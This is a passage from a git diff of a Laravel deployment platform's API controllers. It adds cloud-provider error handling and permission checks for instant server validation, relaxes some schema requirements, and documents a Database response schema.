toJsonResponse(string $failureMessage): JsonResponse + { + return response()->json([ + 'message' => $failureMessage.' '.$this->safeMessage(), + 'provider_status' => $this->status, + 'provider_error_code' => $this->errorCode, + ], 502); + } +} diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index cadd543f39..b96dabadb9 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -381,7 +381,7 @@ class ApplicationsController extends Controller mediaType: 'application/json', schema: new OA\Schema( type: 'object', - required: ['project_uuid', 'server_uuid', 'environment_name', 'environment_uuid', 'git_repository', 'git_branch', 'build_pack'], + required: ['project_uuid', 'server_uuid', 'git_repository', 'git_branch', 'build_pack'], properties: [ 'project_uuid' => ['type' => 'string', 'description' => 'The project UUID.'], 'server_uuid' => ['type' => 'string', 'description' => 'The server UUID.'], @@ -593,7 +593,7 @@ class ApplicationsController extends Controller mediaType: 'application/json', schema: new OA\Schema( type: 'object', - required: ['project_uuid', 'server_uuid', 'environment_name', 'environment_uuid', 'github_app_uuid', 'git_repository', 'git_branch', 'build_pack'], + required: ['project_uuid', 'server_uuid', 'github_app_uuid', 'git_repository', 'git_branch', 'build_pack'], properties: [ 'project_uuid' => ['type' => 'string', 'description' => 'The project UUID.'], 'server_uuid' => ['type' => 'string', 'description' => 'The server UUID.'], @@ -803,7 +803,7 @@ class ApplicationsController extends Controller mediaType: 'application/json', schema: new OA\Schema( type: 'object', - required: ['project_uuid', 'server_uuid', 'environment_name', 'environment_uuid', 'private_key_uuid', 'git_repository', 'git_branch', 'build_pack'], + required: ['project_uuid', 'server_uuid', 'private_key_uuid', 'git_repository', 'git_branch', 'build_pack'], properties: [ 'project_uuid' => ['type' => 'string', 'description' => 'The project UUID.'], 'server_uuid' => ['type' => 'string', 'description' => 'The server UUID.'], @@ -1013,7 +1013,7 @@ class ApplicationsController extends Controller mediaType: 'application/json', schema: new OA\Schema( type: 'object', - required: ['project_uuid', 'server_uuid', 'environment_name', 'environment_uuid', 'dockerfile'], + required: ['project_uuid', 'server_uuid', 'dockerfile'], properties: [ 'project_uuid' => ['type' => 'string', 'description' => 'The project UUID.'], 'server_uuid' => ['type' => 'string', 'description' => 'The server UUID.'], @@ -1192,7 +1192,7 @@ class ApplicationsController extends Controller mediaType: 'application/json', schema: new OA\Schema( type: 'object', - required: ['project_uuid', 'server_uuid', 'environment_name', 'environment_uuid', 'docker_registry_image_name'], + required: ['project_uuid', 'server_uuid', 'docker_registry_image_name'], properties: [ 'project_uuid' => ['type' => 'string', 'description' => 'The project UUID.'], 'server_uuid' => ['type' => 'string', 'description' => 'The server UUID.'], @@ -2417,7 +2417,7 @@ class ApplicationsController extends Controller ]))->setStatusCode(201); } elseif ($type === 'dockerimage') { $validationRules = [ - 'docker_registry_image_name' => ['required', 'string', 'max:255', new DockerImageFormat], + 'docker_registry_image_name' => ['required', 'string', 'max:255', new DockerImageFormat(allowVariableTag: true)], 'docker_registry_image_tag' => ValidationPatterns::dockerImageTagRules(), 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/|nullable', ]; @@ -2662,7 +2662,7 @@ class ApplicationsController extends Controller new OA\Parameter( name: 'service_name', in: 'query', - description: 'Return logs only from the container of the Docker Compose service with this name. Returns 404 when no running container matches.', + description: 'Return logs only from the container of the Docker Compose service with this name. Returns 404 when no container matches. Stopped containers are included.', required: false, schema: new OA\Schema(type: 'string'), ), @@ -2741,7 +2741,7 @@ class ApplicationsController extends Controller new OA\Parameter( name: 'service_name', in: 'query', - description: 'Return logs only from the container of the Docker Compose service with this name. Returns 404 when no running container matches.', + description: 'Return logs only from the container of the Docker Compose service with this name. Returns 404 when no container matches. Stopped containers are included.', required: false, schema: new OA\Schema(type: 'string'), ), @@ -2808,20 +2808,13 @@ class ApplicationsController extends Controller if (! $matchingContainer) { return response()->json([ - 'message' => "No running container found for service_name '{$serviceName}'.", + 'message' => "No container found for service_name '{$serviceName}'.", ], 404); } $container = $matchingContainer; } else { - $container = $containers->first(); - } - - $status = getContainerStatus($application->destination->server, $container['Names']); - if ($status !== 'running') { - return response()->json([ - 'message' => 'Application is not running.', - ], 400); + $container = $containers->firstWhere('State', 'running') ?? $containers->first(); } $lines = normalizeLogLines($request->query('lines')); diff --git a/app/Http/Controllers/Api/Concerns/RequiresDeployAbility.php b/app/Http/Controllers/Api/Concerns/RequiresDeployAbility.php index 28ccd598ed..9169c31de7 100644 --- a/app/Http/Controllers/Api/Concerns/RequiresDeployAbility.php +++ b/app/Http/Controllers/Api/Concerns/RequiresDeployAbility.php @@ -17,7 +17,7 @@ trait RequiresDeployAbility */ private function deployAbilityForbiddenResponse(Request $request, string $reason): ?JsonResponse { - if ($request->user()->tokenCan('deploy') || $request->user()->tokenCan('root')) { + if ($this->hasDeployAbility($request)) { return null; } @@ -25,4 +25,9 @@ trait RequiresDeployAbility 'message' => "Missing required permissions: deploy. {$reason}", ], 403); } + + private function hasDeployAbility(Request $request): bool + { + return $request->user()->tokenCan('deploy') || $request->user()->tokenCan('root'); + } } diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index b8cf88e94f..39ef203226 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -352,8 +352,8 @@ class DatabasesController extends Controller response: 200, description: 'Get all databases', content: new OA\JsonContent( - type: 'string', - example: 'Content is very complex. Will be implemented later.', + type: 'array', + items: new OA\Items(ref: '#/components/schemas/Database'), ), ), new OA\Response( @@ -511,11 +511,8 @@ class DatabasesController extends Controller responses: [ new OA\Response( response: 200, - description: 'Get all databases', - content: new OA\JsonContent( - type: 'string', - example: 'Content is very complex. Will be implemented later.', - ), + description: 'Get database by UUID', + content: new OA\JsonContent(ref: '#/components/schemas/Database'), ), new OA\Response( response: 401, @@ -1550,7 +1547,7 @@ class DatabasesController extends Controller mediaType: 'application/json', schema: new OA\Schema( type: 'object', - required: ['server_uuid', 'project_uuid', 'environment_name', 'environment_uuid'], + required: ['server_uuid', 'project_uuid'], properties: [ 'server_uuid' => ['type' => 'string', 'description' => 'UUID of the server'], 'project_uuid' => ['type' => 'string', 'description' => 'UUID of the project'], @@ -1623,7 +1620,7 @@ class DatabasesController extends Controller mediaType: 'application/json', schema: new OA\Schema( type: 'object', - required: ['server_uuid', 'project_uuid', 'environment_name', 'environment_uuid'], + required: ['server_uuid', 'project_uuid'], properties: [ 'server_uuid' => ['type' => 'string', 'description' => 'UUID of the server'], 'project_uuid' => ['type' => 'string', 'description' => 'UUID of the project'], @@ -1692,7 +1689,7 @@ class DatabasesController extends Controller mediaType: 'application/json', schema: new OA\Schema( type: 'object', - required: ['server_uuid', 'project_uuid', 'environment_name', 'environment_uuid'], + required: ['server_uuid', 'project_uuid'], properties: [ 'server_uuid' => ['type' => 'string', 'description' => 'UUID of the server'], 'project_uuid' => ['type' => 'string', 'description' => 'UUID of the project'], @@ -1760,7 +1757,7 @@ class DatabasesController extends Controller mediaType: 'application/json', schema: new OA\Schema( type: 'object', - required: ['server_uuid', 'project_uuid', 'environment_name', 'environment_uuid'], + required: ['server_uuid', 'project_uuid'], properties: [ 'server_uuid' => ['type' => 'string', 'description' => 'UUID of the server'], 'project_uuid' => ['type' => 'string', 'description' => 'UUID of the project'], @@ -1829,7 +1826,7 @@ class DatabasesController extends Controller mediaType: 'application/json', schema: new OA\Schema( type: 'object', - required: ['server_uuid', 'project_uuid', 'environment_name', 'environment_uuid'], + required: ['server_uuid', 'project_uuid'], properties: [ 'server_uuid' => ['type' => 'string', 'description' => 'UUID of the server'], 'project_uuid' => ['type' => 'string', 'description' => 'UUID of the project'], @@ -1898,7 +1895,7 @@ class DatabasesController extends Controller mediaType: 'application/json', schema: new OA\Schema( type: 'object', - required: ['server_uuid', 'project_uuid', 'environment_name', 'environment_uuid'], + required: ['server_uuid', 'project_uuid'], properties: [ 'server_uuid' => ['type' => 'string', 'description' => 'UUID of the server'], 'project_uuid' => ['type' => 'string', 'description' => 'UUID of the project'], @@ -1970,7 +1967,7 @@ class DatabasesController extends Controller mediaType: 'application/json', schema: new OA\Schema( type: 'object', - required: ['server_uuid', 'project_uuid', 'environment_name', 'environment_uuid'], + required: ['server_uuid', 'project_uuid'], properties: [ 'server_uuid' => ['type' => 'string', 'description' => 'UUID of the server'], 'project_uuid' => ['type' => 'string', 'description' => 'UUID of the project'], @@ -2042,7 +2039,7 @@ class DatabasesController extends Controller mediaType: 'application/json', schema: new OA\Schema( type: 'object', - required: ['server_uuid', 'project_uuid', 'environment_name', 'environment_uuid'], + required: ['server_uuid', 'project_uuid'], properties: [ 'server_uuid' => ['type' => 'string', 'description' => 'UUID of the server'], 'project_uuid' => ['type' => 'string', 'description' => 'UUID of the project'], @@ -2111,7 +2108,7 @@ class DatabasesController extends Controller mediaType: 'application/json', schema: new OA\Schema( type: 'object', - required: ['server_uuid', 'project_uuid', 'environment_name', 'environment_uuid'], + required: ['server_uuid', 'project_uuid'], properties: [ 'server_uuid' => ['type' => 'string', 'description' => 'UUID of the server'], 'project_uuid' => ['type' => 'string', 'description' => 'UUID of the project'], @@ -2900,13 +2897,6 @@ class DatabasesController extends Controller $container = $containers->first(); - $status = getContainerStatus($database->destination->server, $container['Names']); - if ($status !== 'running') { - return response()->json([ - 'message' => 'Database is not running.', - ], 400); - } - $lines = normalizeLogLines($request->query('lines')); $showTimestamps = parseLogTimestampFlag($request->query('show_timestamps')); $logs = sanitizeLogsForExport( @@ -4150,6 +4140,7 @@ class DatabasesController extends Controller $updatedEnvs = collect(); foreach ($bulk_data as $item) { + $item = Arr::only($item, ['key', 'value', 'is_literal', 'is_multiline', 'is_shown_once', 'comment']); if (array_key_exists('key', $item)) { $item['key'] = ValidationPatterns::normalizeEnvironmentVariableKey((string) $item['key']); } @@ -5292,7 +5283,7 @@ class DatabasesController extends Controller $uuid = new_public_id(); $name = $request->filled('name') ? $request->string('name')->toString() - : $database->name.'-clone-'.$uuid; + : clone_resource_name($database->name, $uuid); $cloneVolumeData = $request->boolean('clone_volumes', false); $newDatabase = $database->replicate([ diff --git a/app/Http/Controllers/Api/DigitalOceanController.php b/app/Http/Controllers/Api/DigitalOceanController.php index 427a805278..4da5c3509c 100644 --- a/app/Http/Controllers/Api/DigitalOceanController.php +++ b/app/Http/Controllers/Api/DigitalOceanController.php @@ -2,11 +2,12 @@ namespace App\Http\Controllers\Api; -use App\Actions\Server\ValidateServer; use App\Enums\ProxyTypes; +use App\Exceptions\CloudProviderApiException; use App\Exceptions\RateLimitException; use App\Http\Controllers\Api\Concerns\RequiresDeployAbility; use App\Http\Controllers\Controller; +use App\Jobs\ValidateNewCloudServerJob; use App\Models\CloudProviderToken; use App\Models\PrivateKey; use App\Models\Server; @@ -210,6 +211,7 @@ class DigitalOceanController extends Controller new OA\Response(response: 403, description: 'The token needs the deploy permission for a cloud-init script or extra SSH keys.'), new OA\Response(response: 422, description: 'Validation failed.'), new OA\Response(response: 429, description: 'DigitalOcean rate limit exceeded.'), + new OA\Response(response: 502, ref: '#/components/responses/502'), ] )] public function createServer(Request $request): JsonResponse @@ -285,7 +287,13 @@ class DigitalOceanController extends Controller $request->offsetSet('enable_ipv6', $request->boolean('enable_ipv6', true)); $request->offsetSet('monitoring', $request->boolean('monitoring', true)); $request->offsetSet('digitalocean_ssh_key_ids', $request->digitalocean_ssh_key_ids ?? []); - $request->offsetSet('instant_validate', $request->boolean('instant_validate', false)); + $request->offsetSet('instant_validate', $request->filled('instant_validate') ? $request->boolean('instant_validate') : $this->hasDeployAbility($request)); + if ($request->instant_validate) { + $forbidden = $this->deployAbilityForbiddenResponse($request, 'Instant validation installs Docker and starts the proxy on the new server, so it needs a token with the deploy permission.'); + if ($forbidden) { + return $forbidden; + } + } $token = $this->digitalOceanToken($request, $teamId); if ($token instanceof JsonResponse) { @@ -363,7 +371,7 @@ class DigitalOceanController extends Controller } if ($request->instant_validate) { - ValidateServer::dispatch($server); + ValidateNewCloudServerJob::dispatch($server); } auditLog('api.digitalocean_droplet.created', [ @@ -395,12 +403,13 @@ class DigitalOceanController extends Controller } return $response; - } catch (\Throwable $e) { + } catch (CloudProviderApiException $e) { $this->deleteUntrackedDroplet($digitalOceanService, $dropletId, $server); - logger()->error('Failed to create DigitalOcean server', [ - 'error' => $e->getMessage(), - ]); + return $e->toJsonResponse('Failed to create DigitalOcean server.'); + } catch (\Throwable $e) { + $this->deleteUntrackedDroplet($digitalOceanService, $dropletId, $server); + report($e); return response()->json(['message' => 'Failed to create DigitalOcean server.'], 500); } diff --git a/app/Http/Controllers/Api/HetznerController.php b/app/Http/Controllers/Api/HetznerController.php index ca0ec99116..7b1011a254 100644 --- a/app/Http/Controllers/Api/HetznerController.php +++ b/app/Http/Controllers/Api/HetznerController.php @@ -2,11 +2,12 @@ namespace App\Http\Controllers\Api; -use App\Actions\Server\ValidateServer; use App\Enums\ProxyTypes; +use App\Exceptions\CloudProviderApiException; use App\Exceptions\RateLimitException; use App\Http\Controllers\Api\Concerns\RequiresDeployAbility; use App\Http\Controllers\Controller; +use App\Jobs\ValidateNewCloudServerJob; use App\Models\CloudProviderToken; use App\Models\PrivateKey; use App\Models\Server; @@ -90,6 +91,7 @@ class HetznerController extends Controller response: 404, ref: '#/components/responses/404', ), + new OA\Response(response: 502, ref: '#/components/responses/502'), ] )] public function locations(Request $request) @@ -127,14 +129,18 @@ class HetznerController extends Controller $locations = $hetznerService->getLocations(); return response()->json($locations); + } catch (CloudProviderApiException $e) { + return $e->toJsonResponse('Failed to fetch Hetzner locations.'); } catch (\Throwable $e) { + report($e); + return response()->json(['message' => 'Failed to fetch Hetzner locations.'], 500); } } #[OA\Get( summary: 'Get Hetzner Server Types', - description: 'Get all available Hetzner server types (instance sizes).', + description: 'Get the Hetzner server types (instance sizes) that can be ordered now. Each type lists only the locations where it is in stock and not deprecated.', path: '/hetzner/server-types', operationId: 'get-hetzner-server-types', security: [ @@ -142,6 +148,13 @@ class HetznerController extends Controller ], tags: ['Hetzner'], parameters: [ + new OA\Parameter( + name: 'location', + in: 'query', + required: false, + description: 'Return only the server types that can be ordered in this location, for example nbg1.', + schema: new OA\Schema(type: 'string') + ), new OA\Parameter( name: 'cloud_provider_token_uuid', in: 'query', @@ -212,6 +225,7 @@ class HetznerController extends Controller response: 404, ref: '#/components/responses/404', ), + new OA\Response(response: 502, ref: '#/components/responses/502'), ] )] public function serverTypes(Request $request) @@ -224,6 +238,7 @@ class HetznerController extends Controller $validator = customApiValidator($request->all(), [ 'cloud_provider_token_uuid' => 'required_without:cloud_provider_token_id|string', 'cloud_provider_token_id' => 'required_without:cloud_provider_token_uuid|string', + 'location' => 'nullable|string', ]); if ($validator->fails()) { @@ -246,10 +261,14 @@ class HetznerController extends Controller try { $hetznerService = new HetznerService($token->token); - $serverTypes = $hetznerService->getServerTypes(); + $serverTypes = $hetznerService->getServerTypes($request->query('location')); return response()->json($serverTypes); + } catch (CloudProviderApiException $e) { + return $e->toJsonResponse('Failed to fetch Hetzner server types.'); } catch (\Throwable $e) { + report($e); + return response()->json(['message' => 'Failed to fetch Hetzner server types.'], 500); } } @@ -312,6 +331,7 @@ class HetznerController extends Controller response: 404, ref: '#/components/responses/404', ), + new OA\Response(response: 502, ref: '#/components/responses/502'), ] )] public function images(Request $request) @@ -362,7 +382,11 @@ class HetznerController extends Controller }); return response()->json(array_values($filtered)); + } catch (CloudProviderApiException $e) { + return $e->toJsonResponse('Failed to fetch Hetzner images.'); } catch (\Throwable $e) { + report($e); + return response()->json(['message' => 'Failed to fetch Hetzner images.'], 500); } } @@ -422,6 +446,7 @@ class HetznerController extends Controller response: 404, ref: '#/components/responses/404', ), + new OA\Response(response: 502, ref: '#/components/responses/502'), ] )] public function sshKeys(Request $request) @@ -459,7 +484,11 @@ class HetznerController extends Controller $sshKeys = $hetznerService->getSshKeys(); return response()->json($sshKeys); + } catch (CloudProviderApiException $e) { + return $e->toJsonResponse('Failed to fetch Hetzner SSH keys.'); } catch (\Throwable $e) { + report($e); + return response()->json(['message' => 'Failed to fetch Hetzner SSH keys.'], 500); } } @@ -517,6 +546,7 @@ class HetznerController extends Controller response: 404, ref: '#/components/responses/404', ), + new OA\Response(response: 502, ref: '#/components/responses/502'), ] )] public function firewalls(Request $request) @@ -553,7 +583,11 @@ class HetznerController extends Controller $hetznerService = new HetznerService($token->token); return response()->json($hetznerService->getFirewalls()); + } catch (CloudProviderApiException $e) { + return $e->toJsonResponse('Failed to fetch Hetzner firewalls.'); } catch (\Throwable $e) { + report($e); + return response()->json(['message' => 'Failed to fetch Hetzner firewalls.'], 500); } } @@ -612,6 +646,7 @@ class HetznerController extends Controller response: 404, ref: '#/components/responses/404', ), + new OA\Response(response: 502, ref: '#/components/responses/502'), ] )] public function networks(Request $request) @@ -648,7 +683,11 @@ class HetznerController extends Controller $hetznerService = new HetznerService($token->token); return response()->json($hetznerService->getNetworks()); + } catch (CloudProviderApiException $e) { + return $e->toJsonResponse('Failed to fetch Hetzner networks.'); } catch (\Throwable $e) { + report($e); + return response()->json(['message' => 'Failed to fetch Hetzner networks.'], 500); } } @@ -685,7 +724,7 @@ class HetznerController extends Controller 'hetzner_firewall_ids' => ['type' => 'array', 'items' => ['type' => 'integer'], 'description' => 'Existing Hetzner firewall IDs to apply during server creation'], 'hetzner_network_ids' => ['type' => 'array', 'items' => ['type' => 'integer'], 'description' => 'Existing Hetzner network IDs to attach during server creation'], 'cloud_init_script' => ['type' => 'string', 'description' => 'Cloud-init YAML script (optional). Needs a token with the deploy permission.'], - 'instant_validate' => ['type' => 'boolean', 'example' => false, 'description' => 'Validate server immediately after creation'], + 'instant_validate' => ['type' => 'boolean', 'example' => false, 'description' => 'Validate the server and install Docker when it is running. Defaults to true for tokens with the deploy permission, and needs that permission.'], ], ), ), @@ -728,6 +767,7 @@ class HetznerController extends Controller response: 429, ref: '#/components/responses/429', ), + new OA\Response(response: 502, ref: '#/components/responses/502'), ] )] public function createServer(Request $request) @@ -832,8 +872,12 @@ class HetznerController extends Controller if (is_null($request->hetzner_network_ids)) { $request->offsetSet('hetzner_network_ids', []); } - if (is_null($request->instant_validate)) { - $request->offsetSet('instant_validate', false); + $request->offsetSet('instant_validate', $request->filled('instant_validate') ? $request->boolean('instant_validate') : $this->hasDeployAbility($request)); + if ($request->instant_validate) { + $forbidden = $this->deployAbilityForbiddenResponse($request, 'Instant validation installs Docker and starts the proxy on the new server, so it needs a token with the deploy permission.'); + if ($forbidden) { + return $forbidden; + } } if (! $request->boolean('enable_ipv4') && ! $request->boolean('enable_ipv6')) { @@ -960,6 +1004,7 @@ class HetznerController extends Controller 'private_key_id' => $privateKey->id, 'cloud_provider_token_id' => $token->id, 'hetzner_server_id' => $hetznerServer['id'], + 'hetzner_server_status' => $hetznerServer['status'] ?? null, ]); $server->proxy->set('status', 'exited'); @@ -976,7 +1021,7 @@ class HetznerController extends Controller // Validate server if requested if ($request->instant_validate) { - ValidateServer::dispatch($server); + ValidateNewCloudServerJob::dispatch($server); } auditLog('api.hetzner_server.created', [ @@ -1012,7 +1057,18 @@ class HetznerController extends Controller } return $response; + } catch (CloudProviderApiException $e) { + return $e->toJsonResponse('Failed to create Hetzner server.'); } catch (\Throwable $e) { + report($e); + if (isset($hetznerService, $hetznerServer['id'])) { + try { + $hetznerService->deleteServer((int) $hetznerServer['id']); + } catch (\Throwable $cleanupError) { + report($cleanupError); + } + } + return response()->json(['message' => 'Failed to create Hetzner server.'], 500); } } diff --git a/app/Http/Controllers/Api/HostingerController.php b/app/Http/Controllers/Api/HostingerController.php index 34eb2e94bf..1e28c93383 100644 --- a/app/Http/Controllers/Api/HostingerController.php +++ b/app/Http/Controllers/Api/HostingerController.php @@ -2,11 +2,11 @@ namespace App\Http\Controllers\Api; -use App\Actions\Server\ValidateServer; use App\Enums\ProxyTypes; use App\Exceptions\RateLimitException; use App\Http\Controllers\Api\Concerns\RequiresDeployAbility; use App\Http\Controllers\Controller; +use App\Jobs\ValidateNewCloudServerJob; use App\Models\CloudProviderToken; use App\Models\PrivateKey; use App\Models\Server; @@ -193,6 +193,14 @@ class HostingerController extends Controller } } + $request->offsetSet('instant_validate', $request->filled('instant_validate') ? $request->boolean('instant_validate') : $this->hasDeployAbility($request)); + if ($request->instant_validate) { + $forbidden = $this->deployAbilityForbiddenResponse($request, 'Instant validation installs Docker and starts the proxy on the new server, so it needs a token with the deploy permission.'); + if ($forbidden) { + return $forbidden; + } + } + $team = Team::find($teamId); if (Team::serverLimitReached($team)) { return response()->json(['message' => 'Server limit reached for your subscription.'], 400); @@ -267,8 +275,8 @@ class HostingerController extends Controller $ipAddress = $server->fresh()->ip; - if ($request->boolean('instant_validate') && ! $server->hasPlaceholderIp()) { - ValidateServer::dispatch($server); + if ($request->instant_validate) { + ValidateNewCloudServerJob::dispatch($server); } auditLog('api.hostinger_virtual_machine.created', [ diff --git a/app/Http/Controllers/Api/OpenApi.php b/app/Http/Controllers/Api/OpenApi.php index 77741ea537..4af7e503bd 100644 --- a/app/Http/Controllers/Api/OpenApi.php +++ b/app/Http/Controllers/Api/OpenApi.php @@ -35,6 +35,103 @@ use OpenApi\Attributes as OA; new OA\Property(property: 'finished_at', type: 'string', format: 'date-time', nullable: true), ], ), + new OA\Schema( + schema: 'Database', + description: 'Standalone database. The fields that start with an engine name (for example postgres_ or redis_) are only returned for that engine. Passwords, connection URLs and init_scripts are only returned for tokens with the read:sensitive or root ability.', + type: 'object', + properties: [ + new OA\Property(property: 'uuid', type: 'string'), + new OA\Property(property: 'name', type: 'string'), + new OA\Property(property: 'description', type: 'string', nullable: true), + new OA\Property(property: 'database_type', type: 'string', enum: ['standalone-postgresql', 'standalone-redis', 'standalone-mongodb', 'standalone-mysql', 'standalone-mariadb', 'standalone-keydb', 'standalone-dragonfly', 'standalone-clickhouse', 'standalone-sqlite']), + new OA\Property(property: 'image', type: 'string'), + new OA\Property(property: 'status', type: 'string', description: 'Container status and health, for example running:healthy or exited:unhealthy.'), + new OA\Property(property: 'server_status', type: 'boolean', description: 'True when the server of the database is reachable and usable.'), + new OA\Property(property: 'environment_id', type: 'integer'), + new OA\Property(property: 'environment', ref: '#/components/schemas/Environment', description: 'Only returned by GET /databases/{uuid}. Includes the project.'), + new OA\Property(property: 'destination_id', type: 'integer'), + new OA\Property(property: 'destination_type', type: 'string'), + new OA\Property( + property: 'destination', + description: 'Docker network destination of the database, with its server.', + type: 'object', + properties: [ + new OA\Property(property: 'uuid', type: 'string'), + new OA\Property(property: 'name', type: 'string'), + new OA\Property(property: 'network', type: 'string'), + new OA\Property(property: 'server_id', type: 'integer'), + new OA\Property(property: 'server', ref: '#/components/schemas/Server'), + new OA\Property(property: 'created_at', type: 'string', format: 'date-time'), + new OA\Property(property: 'updated_at', type: 'string', format: 'date-time'), + ], + ), + new OA\Property(property: 'is_public', type: 'boolean', description: 'Not returned for SQLite.'), + new OA\Property(property: 'public_port', type: 'integer', nullable: true, description: 'Not returned for SQLite.'), + new OA\Property(property: 'public_port_timeout', type: 'integer', nullable: true, description: 'Proxy timeout of the public port in seconds. Not returned for SQLite.'), + new OA\Property(property: 'ports_mappings', type: 'string', nullable: true, description: 'Comma-separated host:container port mappings. Not returned for SQLite.'), + new OA\Property(property: 'enable_ssl', type: 'boolean', description: 'Not returned for ClickHouse and SQLite.'), + new OA\Property(property: 'ssl_mode', type: 'string', nullable: true, description: 'PostgreSQL, MongoDB and MySQL only.'), + new OA\Property(property: 'internal_db_url', type: 'string', nullable: true, description: 'Connection URL inside the Docker network. Contains the password. Not returned for SQLite.'), + new OA\Property(property: 'external_db_url', type: 'string', nullable: true, description: 'Public connection URL, when the database is public. Contains the password. Not returned for SQLite.'), + new OA\Property(property: 'init_scripts', type: 'array', nullable: true, items: new OA\Items(type: 'object', properties: [new OA\Property(property: 'index', type: 'integer'), new OA\Property(property: 'filename', type: 'string'), new OA\Property(property: 'content', type: 'string')]), description: 'PostgreSQL only.'), + new OA\Property(property: 'custom_docker_run_options', type: 'string', nullable: true), + new OA\Property(property: 'is_log_drain_enabled', type: 'boolean'), + new OA\Property(property: 'is_include_timestamps', type: 'boolean', description: 'Not returned for MariaDB.'), + new OA\Property(property: 'include_coolify_default_variables', type: 'boolean'), + new OA\Property(property: 'redact_all_env_values_in_logs', type: 'boolean'), + new OA\Property(property: 'health_check_enabled', type: 'boolean'), + new OA\Property(property: 'health_check_interval', type: 'integer'), + new OA\Property(property: 'health_check_timeout', type: 'integer'), + new OA\Property(property: 'health_check_retries', type: 'integer'), + new OA\Property(property: 'health_check_start_period', type: 'integer'), + new OA\Property(property: 'limits_memory', type: 'string'), + new OA\Property(property: 'limits_memory_swap', type: 'string'), + new OA\Property(property: 'limits_memory_swappiness', type: 'integer'), + new OA\Property(property: 'limits_memory_reservation', type: 'string'), + new OA\Property(property: 'limits_cpus', type: 'string'), + new OA\Property(property: 'limits_cpuset', type: 'string', nullable: true), + new OA\Property(property: 'limits_cpu_shares', type: 'integer'), + new OA\Property(property: 'config_hash', type: 'string', nullable: true, description: 'Internal hash that Coolify uses to find configuration changes that need a restart. It changes only when the database starts, so do not use it to compare configurations.'), + new OA\Property(property: 'restart_count', type: 'integer'), + new OA\Property(property: 'last_restart_at', type: 'string', format: 'date-time', nullable: true), + new OA\Property(property: 'last_restart_type', type: 'string', nullable: true), + new OA\Property(property: 'last_online_at', type: 'string', nullable: true), + new OA\Property(property: 'started_at', type: 'string', format: 'date-time', nullable: true), + new OA\Property(property: 'backup_configs', type: 'array', items: new OA\Items(type: 'object'), description: 'Only returned by GET /databases. The scheduled backups of the database, as returned by GET /databases/{uuid}/backups.'), + new OA\Property(property: 'postgres_user', type: 'string'), + new OA\Property(property: 'postgres_password', type: 'string', format: 'password'), + new OA\Property(property: 'postgres_db', type: 'string'), + new OA\Property(property: 'postgres_initdb_args', type: 'string', nullable: true), + new OA\Property(property: 'postgres_host_auth_method', type: 'string', nullable: true), + new OA\Property(property: 'postgres_conf', type: 'string', nullable: true), + new OA\Property(property: 'redis_password', type: 'string', format: 'password'), + new OA\Property(property: 'redis_conf', type: 'string', nullable: true), + new OA\Property(property: 'mongo_initdb_root_username', type: 'string'), + new OA\Property(property: 'mongo_initdb_root_password', type: 'string', format: 'password'), + new OA\Property(property: 'mongo_initdb_database', type: 'string'), + new OA\Property(property: 'mongo_conf', type: 'string', nullable: true), + new OA\Property(property: 'mysql_user', type: 'string'), + new OA\Property(property: 'mysql_password', type: 'string', format: 'password'), + new OA\Property(property: 'mysql_root_password', type: 'string', format: 'password'), + new OA\Property(property: 'mysql_database', type: 'string'), + new OA\Property(property: 'mysql_conf', type: 'string', nullable: true), + new OA\Property(property: 'mariadb_user', type: 'string'), + new OA\Property(property: 'mariadb_password', type: 'string', format: 'password'), + new OA\Property(property: 'mariadb_root_password', type: 'string', format: 'password'), + new OA\Property(property: 'mariadb_database', type: 'string'), + new OA\Property(property: 'mariadb_conf', type: 'string', nullable: true), + new OA\Property(property: 'keydb_password', type: 'string', format: 'password'), + new OA\Property(property: 'keydb_conf', type: 'string', nullable: true), + new OA\Property(property: 'dragonfly_password', type: 'string', format: 'password'), + new OA\Property(property: 'clickhouse_admin_user', type: 'string'), + new OA\Property(property: 'clickhouse_admin_password', type: 'string', format: 'password'), + new OA\Property(property: 'clickhouse_db', type: 'string'), + new OA\Property(property: 'sqlite_databases', type: 'string', description: 'Comma-separated SQLite database file names.'), + new OA\Property(property: 'created_at', type: 'string', format: 'date-time'), + new OA\Property(property: 'updated_at', type: 'string', format: 'date-time'), + new OA\Property(property: 'deleted_at', type: 'string', format: 'date-time', nullable: true), + ], + ), ], responses: [ new OA\Response( @@ -101,6 +198,17 @@ use OpenApi\Attributes as OA; new OA\Property(property: 'message', type: 'string', example: 'Rate limit exceeded. Please try again later.'), ] )), + new OA\Response( + response: 502, + description: 'The cloud provider API rejected the request.', + content: new OA\JsonContent( + type: 'object', + properties: [ + new OA\Property(property: 'message', type: 'string', example: 'Failed to create Hetzner server. The Hetzner API token does not have permission for this request. Use a token with read and write access.'), + new OA\Property(property: 'provider_status', type: 'integer', description: 'The HTTP status from the cloud provider API.', example: 403), + new OA\Property(property: 'provider_error_code', type: 'string', nullable: true, description: 'The error code from the cloud provider API, if it has one.', example: 'forbidden'), + ] + )), ], )] class OpenApi diff --git a/app/Http/Controllers/Api/ResourcesController.php b/app/Http/Controllers/Api/ResourcesController.php index 53d542d44b..5b7923e19f 100644 --- a/app/Http/Controllers/Api/ResourcesController.php +++ b/app/Http/Controllers/Api/ResourcesController.php @@ -21,10 +21,23 @@ class ResourcesController extends Controller responses: [ new OA\Response( response: 200, - description: 'Get all resources', + description: 'Get all applications, services and standalone databases. The other fields of each resource are the fields of the Application, Service or Database schema.', content: new OA\JsonContent( - type: 'string', - example: 'Content is very complex. Will be implemented later.', + type: 'array', + items: new OA\Items( + type: 'object', + properties: [ + new OA\Property(property: 'uuid', type: 'string'), + new OA\Property(property: 'name', type: 'string'), + new OA\Property(property: 'description', type: 'string', nullable: true), + new OA\Property(property: 'type', type: 'string', description: 'application, service, or standalone- for databases (for example standalone-postgresql).'), + new OA\Property(property: 'status', type: 'string', description: 'For example running:healthy or exited:unhealthy.'), + new OA\Property(property: 'environment_id', type: 'integer'), + new OA\Property(property: 'created_at', type: 'string', format: 'date-time'), + new OA\Property(property: 'updated_at', type: 'string', format: 'date-time'), + ], + additionalProperties: true, + ), ), ), new OA\Response( diff --git a/app/Http/Controllers/Api/S3StoragesController.php b/app/Http/Controllers/Api/S3StoragesController.php index c2ad48c51d..3aefa4f297 100644 --- a/app/Http/Controllers/Api/S3StoragesController.php 